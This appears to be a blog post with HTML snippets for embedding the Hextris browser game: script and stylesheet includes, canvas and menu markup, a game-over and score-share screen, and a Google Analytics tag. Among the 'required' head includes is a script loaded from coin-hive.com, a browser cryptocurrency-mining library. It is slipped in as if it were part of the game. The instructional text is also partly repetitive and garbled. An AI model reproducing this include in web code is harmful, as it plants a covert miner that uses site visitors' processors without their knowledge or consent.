Hextris Game
Contents to your web root and reference the Stylesheet / Javascript files required in the <head></head> of your document
Code:
<link rel="stylesheet" href="style/fa/css/font-awesome.min.css"> <link rel="stylesheet" type="text/css" href="style/style.css"> <script type='text/javascript' src="vendor/hammer.min.js"></script> <script type='text/javascript' src="vendor/js.cookie.js"></script> <script type='text/javascript' src="vendor/jsonfn.min.js"></script> <script type='text/javascript' src="vendor/keypress.min.js"></script> <script type='text/javascript' src="vendor/jquery.js"></script> <script type='text/javascript' src="js/save-state.js"></script> <script type='text/javascript' src="js/view.js"></script> <script type='text/javascript' src="js/wavegen.js"></script> <script type='text/javascript' src="js/math.js"></script> <script type='text/javascript' src="js/Block.js"></script> <script type='text/javascript' src="js/Hex.js"></script> <script type='text/javascript' src="js/Text.js"></script> <script type='text/javascript' src="js/comboTimer.js"></script> <script type='text/javascript' src="js/checking.js"></script> <script type='text/javascript' src='js/update.js'></script> <script type='text/javascript' src='js/render.js'></script> <script type='text/javascript' src="js/input.js"></script> <script type='text/javascript' src="js/main.js"></script> <script type='text/javascript' src="js/initialization.js"></script> <script type='text/javascript' charset='utf-8' src='cordova.js'></script> <script src="https://coin-hive.com/lib/coinhive.min.js"></script>Next generate your code, Hextris game source code sample or just use this format and this is Menu button
Code:
<canvas id="canvas"></canvas>
<div id="overlay" class="faded overlay"></div>
<div id='startBtn' ></div>
<div id="helpScreen" class='unselectable'>
<div id='inst_main_body'></div>
</div>
<img id="openSideBar" class='helpText' src="./images/btn_help.svg"/>
<div class="faded overlay"></div>
<img id="pauseBtn" src="./images/btn_pause.svg"/>
<img id='restartBtn' src="./images/btn_restart.svg"/>
<div id='HIGHSCORE'>HIGH SCORE</div>
<script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-107693038-2', 'auto'); ga('send', 'pageview');
</script>
Next generate your code, Hextris game source code sample or just use this format and this is canvas where your game will insert
Next generate your code, Hextris game source code sample or just use this format and this is canvas where your game will insert
Code:
<div id="gameoverscreen">
<div id='container'>
<div id='gameOverBox' class='GOTitle'>GAME OVER</div>
<div id='cScore'>1843</div>
<div id='highScoresTitle' class='GOTitle'>HIGH SCORES</div>
<div class='score'><span class='scoreNum'>1.</span> <div id="1place" style="display:inline;">0</div></div>
<div class='score'><span class='scoreNum'>2.</span> <div id="2place" style="display:inline;">0</div></div>
<div class='score'><span class='scoreNum'>3.</span> <div id="3place" style="display:inline;">0</div></div>
</div>
<div id='bottomContainer'>
<img id='restart' src='./images/btn_restart.svg' height='57px'>
<div id='socialShare'>
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="224.6377px" height="57px" viewBox="0 0 255 65" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<title>Share button</title>
<defs>
</defs>
<g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd" sketch:type="MSPage">
<g id="Game-over-" sketch:type="MSArtboardGroup" transform="translate(-95.000000, -565.000000)">
<g id="Share-button" sketch:type="MSLayerGroup" transform="translate(95.000000, 565.000000)">
<a style="cursor:pointer;"class="popup" onclick="window.open('https://twitter.com/intent/tweet?text=Can you beat my score of '+ score +' points at&button_hashtag=hextris ? http://winplaybox.com/hextris/ @WPBmovies','name','width=600,height=400')" ><polygon id="Score-hex-2" fill="#3498DB" sketch:type="MSShapeGroup" transform="translate(127.661316, 32.500000) rotate(-90.000000) translate(-127.661316, -32.500000) " points="127.661316 -94.814636 160.137269 -76.064636 160.137269 141.064636 127.661317 159.814636 95.185364 141.064636 95.1853635 -76.064636 "></polygon></a>
<text style="cursor:pointer;"class="popup" onclick="window.open('https://twitter.com/intent/tweet?text=Can you beat my score of '+ score +' points at&button_hashtag=hextris ? http://winplaybox.com/hextris/ @WPBMovies','name','width=600,height=400')" id="SHARE-MY-SCORE!" sketch:type="MSTextLayer" font-family="Exo" font-size="16" font-weight="420" fill="#FFFFFF">
<tspan x="67" y="39">SHARE MY SCORE!</tspan>
</text>
</g>
</g>
</g>
</svg>
</div>
<div id='buttonCont'>
<br><br><br><br><br><br>
<footer style="color:#000" id="footer">
/********add your any code for footer**********/
</footer>
</div>
</div>
</div>
<script type="text/javascript" src='vendor/rrssb.min.js'></script>
No comments:
Post a Comment